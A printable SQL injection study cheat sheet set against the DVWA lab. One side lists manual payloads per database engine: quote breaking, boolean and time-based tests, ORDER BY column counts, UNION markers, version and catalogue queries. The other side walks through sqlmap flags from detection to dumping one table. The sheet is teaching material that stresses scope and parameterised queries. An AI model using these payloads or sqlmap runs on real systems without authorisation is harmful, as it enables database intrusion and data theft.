SQL INJECTION | What I see -> what I try -> what I learn

FRONT • DBMS column is a label, never part of the payload: ALL = MySQL/PostgreSQL/SQL Server/Oracle; MY = MySQL-family; PG = PostgreSQL; MS = Microsoft SQL Server; OR = Oracle; CLI = sqlmap option.

`Worked DVWA query: SELECT first_name,last_name FROM users WHERE user_id = '<INPUT>';`
Read it: two returned columns, users table, quoted ID value. 1' closes that quote; AND adds a condition; -- - comments the trailing quote (space after --). Field values below assume this query shape.

WHAT I SEE / QUESTION	DBMS	WHAT I CAN TRY	WHAT TO LOOK FOR / NEXT
Start: a normal user-ID field	ALL	`1`	Capture method/path, id field, current cookie and normal row/response. A digit can still be inside SQL quotes.
Does input reach SQL syntax?	ALL	`1'`	SQL-related error is a query-boundary clue, not proof of extracted data. Distinguish validation/proxy errors.
Can a condition change the result?	ALL	`1' AND 2=2-- -` `1' AND 2=3-- -`	True keeps the baseline; false should change it repeatably. Both unchanged? Check field/session/context. OR false can still match the original row.

Results shown: how many columns?	ALL	`1' ORDER BY 1-- -`
		`1' ORDER BY 2-- -`
		`1' ORDER BY 3-- -`
			If 1/2 work and 3 errors, two SELECT-result columns are suggested. It does NOT count all columns in the source table.

Can I place two visible markers?	MY PG MS	`-1' UNION SELECT 'LAB_LEFT','LAB_RIGHT'-- -`	Assumes two text-compatible columns and -1 absent in this lab. Markers show which fields render your added row. Types/count must fit.
Same literal-SELECT shape, Oracle	OR	`-1' UNION SELECT 'LAB_LEFT','LAB_RIGHT' FROM dual-- -`	FROM dual supplies the source for this Oracle literal SELECT. Do not paste Oracle syntax into another engine blindly.
Stable true/false but no raw data	MY PG MS	`1' AND SUBSTRING('coffee',1,1)='c'-- -` `1' AND SUBSTRING('coffee',1,1)='x'-- -`	Known-string character question: first should follow true marker, second false. Oracle uses SUBSTR. Then a minimal authorised context question.
No visible signal: paired timing?	MY	`1' AND IF(2=2,SLEEP(2),0)=0-- -` `1' AND IF(2=3,SLEEP(2),0)=0-- -`	Alternate short delay/no-delay tests, sequentially. Several repeatable differences, not one slow request. Multiple evaluated rows can multiply delay.

Other delay syntax (statements)	PG
	MS
	OR
		`SELECT pg_sleep(2);`
		`WAITFOR DELAY '0:0:02';`
		`SELECT DBMS_PIPE.RECEIVE_MESSAGE('lab_empty',2) FROM dual;`
			Rows correspond to PG/MS/OR. Not interchangeable field payloads. MS is statement context; Oracle needs access and an empty pipe.

Version / context, after proof	MY
	PG
	MS
	OR
		`SELECT database(),version();`
		`SELECT version();`
		`SELECT @@version;`
		`SELECT banner FROM v$version;`
			Rows correspond to MY/PG/MS/OR. Standalone queries to recognise/adapt into the proven shape. For MY two-column UNION, database(),version() fits.

Which table / column catalogue?	MY PG MS	`information_schema.tables` `information_schema.columns`	Metadata describes objects, not their business records. Restrict schema/table; schemas and databases are not interchangeable levels.
Oracle object catalogue	OR	`all_tables / all_tab_columns`	Visible tables/columns depend on owner and permissions; Oracle does not use information_schema for this catalogue.

Stored / error / separate channel	varies	`Stored: delivery -> later unsafe query`
		`Error: boundary clue -> controlled marker`
		`OOB: lab callback + unique token`
			These need mapped context/privilege. Identical pages alone prove neither hidden SQLi nor safe queries. Follow the relevant method, not every method.

KEEP: normal/changed requests, selected input, context, signal, DBMS confidence and assistance. Fix: parameterised query + appropriate type checks/least privilege. Manual route in vault: SQL Injection -> SQLi -> matching method -> SQLMap if justified.

SQLMAP | Valid request -> chosen input -> next justified flag

BACK • Run in Kali. Save the real raw DVWA request as dvwa-request.txt, including current session and terminating blank line. CLI labels below are NOT command text. For a source checkout, use python3 sqlmap.py followed by the same flags.

WHAT I NEED / SEE	SCOPE	COMMAND / OPTION TO TRY	WHAT IT DOES / HOW TO READ IT
Normal captured request works	CLI	`sqlmap -r dvwa-request.txt -p id`	-r loads method/body/cookie; -p chooses parameter name id, not its value 1. A stale/login request is not a valid test.
Simple URL or POST context	CLI	`sqlmap -u "http://<LAB>/item?id=1" -p id` `sqlmap -u "http://<LAB>/login" --data="user=demo&pass=demo" -p user`	Templates, not promised DVWA routes. Use actual method/fields/session. Quote URLs with &; inspect complex requests through Burp/ZAP.
Manual signal is boolean / UNION	CLI	`--technique=B` `--technique=U`	BEUSTQ: B boolean, E error, U UNION, S stacked, T time, Q inline. Pick because you understand the signal; second-order is not a letter.
Engine known from evidence	CLI	`--dbms="Microsoft SQL Server"`	SQL Server and Microsoft SQL are the same product family. Other values: MySQL, PostgreSQL, Oracle. Do not force an unconfirmed engine.

Which DB context / identity?	CLI	`--current-db`
		`--current-user`
		`--banner`
			Select the minimal question needed. The database account is not automatically the website user or OS account.

Need databases / one DB tables	CLI	`sqlmap -r dvwa-request.txt -p id --dbs` `sqlmap -r dvwa-request.txt -p id -D <DB> --tables`	Separate decisions. -D selects the learned database; replace <DB>. Do not enumerate the whole environment merely because you can.
Need fields of one table	CLI	`sqlmap -r dvwa-request.txt -p id -D <DB> -T <TABLE> --columns`	-T selects the relevant table. Read column names/types before selecting data. Metadata -> chosen object -> minimal evidence.
One permitted field / row	CLI	`sqlmap -r dvwa-request.txt -p id -D <DB> -T <TABLE> -C <COL> --dump` `--start=1 --stop=1`	-C selects columns; --dump retrieves data. Only when needed/in scope. Bounds limit retrieval rows, not all detection traffic.
Inspect traffic / stale findings	CLI	`--proxy=http://127.0.0.1:<PORT>` `--flush-session`	Actual Burp/ZAP listener. Flush old findings after relevant target/state change; forces fresh tests rather than repairing bad input.
Session / anti-CSRF expires	CLI	`--cookie="<CURRENT_COOKIE>"` `--csrf-token=<FIELD> --csrf-url=<URL>`	Replayed request needs valid state. Token names/refresh route must match the feature. Keep secrets out of shared examples.

Defaults, speed and filters	CLI	`--batch --threads=<N>`
		`--random-agent --tamper=space2comment`
		`--level=1..5 --risk=1..3`
			Batch chooses defaults, not optimal answers. Start with one thread. Random agent changes a header, not stealth. Tamper transforms syntax, not context. Higher level/risk broadens impact.

A result / error to interpret	CLI	`Parameter -> technique -> payload -> DBMS`
		`Login? Wrong input? Dynamic page? Token?`
		`Wrong forced engine? Cached result?`
			Reproduce the minimal signal. An alert is not an explained finding. State why the selected flag was the next useful question; stop at the objective.

TODAY'S WORKING LABS (Kali): dvwa -> http://127.0.0.1 ; juice -> http://127.0.0.1:3000 ; dvwa stop / juice stop. Proxy first, select input, compare, interpret, then automate. Research/assisted setup is not yet independent SQLi practice.

Primary syntax/option checks: portswigger.net/web-security/sql-injection/cheat-sheet • github.com/sqlmapproject/sqlmap/wiki/Usage. Print A4 landscape, double-sided, flip SHORT EDGE, 100% scale. Context/driver/version/permissions still matter.